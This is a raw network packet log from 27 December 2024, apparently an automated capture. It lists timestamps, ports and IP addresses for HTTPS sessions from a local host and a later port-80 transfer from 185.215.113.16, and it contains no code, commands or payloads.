Dec 27, 2024 09:00:03.830317974 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:04.114475965 CET	49674	443	192.168.2.7	104.98.116.138
Dec 27, 2024 09:00:04.130091906 CET	49675	443	192.168.2.7	104.98.116.138
Dec 27, 2024 09:00:04.286552906 CET	49672	443	192.168.2.7	104.98.116.138
Dec 27, 2024 09:00:05.087276936 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:05.087403059 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:05.088984966 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:05.088999033 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:05.089237928 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:05.090599060 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:05.090727091 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:05.090756893 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:05.098788023 CET	49671	443	192.168.2.7	204.79.197.203
Dec 27, 2024 09:00:05.967966080 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:05.968045950 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:05.968095064 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:05.968372107 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:05.968394041 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:06.265073061 CET	49677	443	192.168.2.7	20.50.201.200
Dec 27, 2024 09:00:07.089525938 CET	49720	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:07.089586020 CET	443	49720	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:07.089669943 CET	49720	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:07.090063095 CET	49720	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:07.090078115 CET	443	49720	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:07.410559893 CET	443	49700	104.98.116.138	192.168.2.7
Dec 27, 2024 09:00:07.410716057 CET	49700	443	192.168.2.7	104.98.116.138
Dec 27, 2024 09:00:08.560199976 CET	443	49720	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:08.560349941 CET	49720	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:08.561824083 CET	49720	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:08.561846018 CET	443	49720	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:08.562088013 CET	443	49720	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:08.563447952 CET	49720	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:08.563637018 CET	49720	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:08.563669920 CET	443	49720	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:08.563747883 CET	49720	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:08.611325026 CET	443	49720	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:09.413175106 CET	443	49720	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:09.413440943 CET	443	49720	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:09.413516998 CET	49720	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:09.413616896 CET	49720	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:09.413638115 CET	443	49720	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:09.604391098 CET	49724	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:09.604424000 CET	443	49724	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:09.604510069 CET	49724	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:09.604798079 CET	49724	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:09.604814053 CET	443	49724	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:10.817008018 CET	443	49724	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:10.817229986 CET	49724	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:10.818758965 CET	49724	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:10.818777084 CET	443	49724	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:10.819017887 CET	443	49724	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:10.820292950 CET	49724	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:10.820472956 CET	49724	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:10.820508003 CET	443	49724	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:10.820559978 CET	49724	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:10.820573092 CET	443	49724	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:12.049031973 CET	443	49724	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:12.049115896 CET	443	49724	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:12.049165010 CET	49724	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:12.055522919 CET	49724	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:12.055550098 CET	443	49724	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:12.595407009 CET	49731	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:12.595467091 CET	443	49731	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:12.595541000 CET	49731	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:12.595865011 CET	49731	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:12.595881939 CET	443	49731	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:13.853789091 CET	443	49731	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:13.853861094 CET	49731	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:13.855154991 CET	49731	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:13.855175018 CET	443	49731	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:13.855403900 CET	443	49731	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:13.856681108 CET	49731	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:13.856770039 CET	49731	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:13.856776953 CET	443	49731	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:14.634027958 CET	443	49731	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:14.634115934 CET	443	49731	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:14.634171009 CET	49731	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:14.634419918 CET	49731	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:14.634442091 CET	443	49731	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:16.035564899 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:16.035610914 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:16.035679102 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:16.035979986 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:16.035995007 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:17.340009928 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:17.340150118 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.342570066 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.342582941 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:17.342910051 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:17.361881018 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.362723112 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.362765074 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:17.362857103 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.362893105 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:17.362988949 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.363055944 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:17.363178015 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.363217115 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:17.363352060 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.363373995 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:17.363518953 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.363550901 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:17.363568068 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.363639116 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.363677979 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.407335043 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:17.407512903 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.407546997 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.407563925 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.451339006 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:17.451492071 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.451525927 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.451548100 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.495377064 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:17.495503902 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.536314011 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:17.536333084 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:17.602984905 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:18.176980972 CET	49677	443	192.168.2.7	20.50.201.200
Dec 27, 2024 09:00:21.349634886 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:21.349725962 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:21.349848986 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:21.363639116 CET	49739	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:21.363663912 CET	443	49739	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:21.547770977 CET	49757	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:21.547786951 CET	443	49757	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:21.547863960 CET	49757	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:21.559438944 CET	49757	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:21.559453011 CET	443	49757	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:22.769797087 CET	443	49757	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:22.769879103 CET	49757	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:22.772783041 CET	49757	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:22.772799015 CET	443	49757	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:22.773004055 CET	443	49757	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:22.780822992 CET	49757	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:22.780852079 CET	49757	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:22.780899048 CET	443	49757	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:23.579361916 CET	443	49757	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:23.579444885 CET	443	49757	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:23.579524994 CET	49757	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:23.579724073 CET	49757	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:23.579754114 CET	443	49757	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:23.579762936 CET	49757	443	192.168.2.7	172.67.165.185
Dec 27, 2024 09:00:23.579772949 CET	443	49757	172.67.165.185	192.168.2.7
Dec 27, 2024 09:00:23.583424091 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:23.703059912 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:23.703192949 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:23.703332901 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:23.822851896 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.172234058 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.172249079 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.172259092 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.172270060 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.172281027 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.172293901 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.172307014 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.172319889 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.172321081 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.172362089 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.172923088 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.172938108 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.173000097 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.291860104 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.291949034 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.292054892 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.368066072 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.368427992 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.368530989 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.372206926 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.372334957 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.372405052 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.380649090 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.380662918 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.380743027 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.388951063 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.389053106 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.389131069 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.397458076 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.397478104 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.397547007 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.405788898 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.405869961 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.405926943 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.414167881 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.414242029 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.414297104 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.422530890 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.422638893 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.422693968 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.430948019 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.431102991 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.431159973 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.439318895 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.439368963 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.439434052 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.447655916 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.447710991 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.447791100 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.578591108 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.578727007 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.578816891 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.581033945 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.581099987 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.581150055 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.585978031 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.586078882 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.586144924 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.590905905 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.591013908 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.591063023 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.595887899 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.595994949 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.596040964 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.600853920 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.600939035 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.600987911 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.605828047 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.605945110 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.606004000 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.610924959 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.610939026 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.611066103 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.615706921 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.615813017 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.615871906 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.620681047 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.620790958 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.620836020 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.625600100 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.625700951 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.625751972 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.630568981 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.630697012 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.630745888 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.635520935 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.635571003 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.635623932 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.640467882 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.640588045 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.640640974 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.645441055 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.645549059 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.645603895 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.650394917 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.650527954 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.650574923 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.655390024 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.655575037 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.655627966 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.660298109 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.660410881 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.660465956 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.665270090 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.665369034 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.665452003 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.698313951 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.698414087 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.698466063 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.700786114 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.755284071 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.789069891 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.789233923 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.789293051 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.791157961 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.791171074 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.791225910 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.794773102 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.794850111 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.794902086 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.798384905 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.798464060 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.798513889 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.802191019 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.802371979 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.802421093 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.806016922 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.806099892 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.806149960 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.809791088 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.809895039 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.809943914 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.813543081 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.813656092 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.813705921 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.817383051 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.817477942 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.817528963 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.821196079 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.821305990 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.821360111 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.824985027 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.825083971 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.825139046 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.828871012 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.828994989 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.829046965 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.830961943 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.831072092 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.831121922 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.833192110 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.833298922 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.833347082 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.835398912 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.835517883 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.835565090 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.837622881 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.837727070 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.837781906 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.839802980 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.839864969 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.839910030 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.841996908 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.842109919 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.842154026 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.844258070 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.844340086 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.844388008 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.846430063 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.846559048 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.846606970 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.848634958 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.848788023 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.848850965 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.850857019 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.850976944 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.851021051 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.853107929 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.853221893 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.853264093 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.855290890 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.855392933 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.855446100 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.857475996 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.857587099 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.857635021 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.859666109 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.859757900 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.859810114 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:26.861846924 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:26.861964941 CET	80	49760	185.215.113.16	192.168.2.7
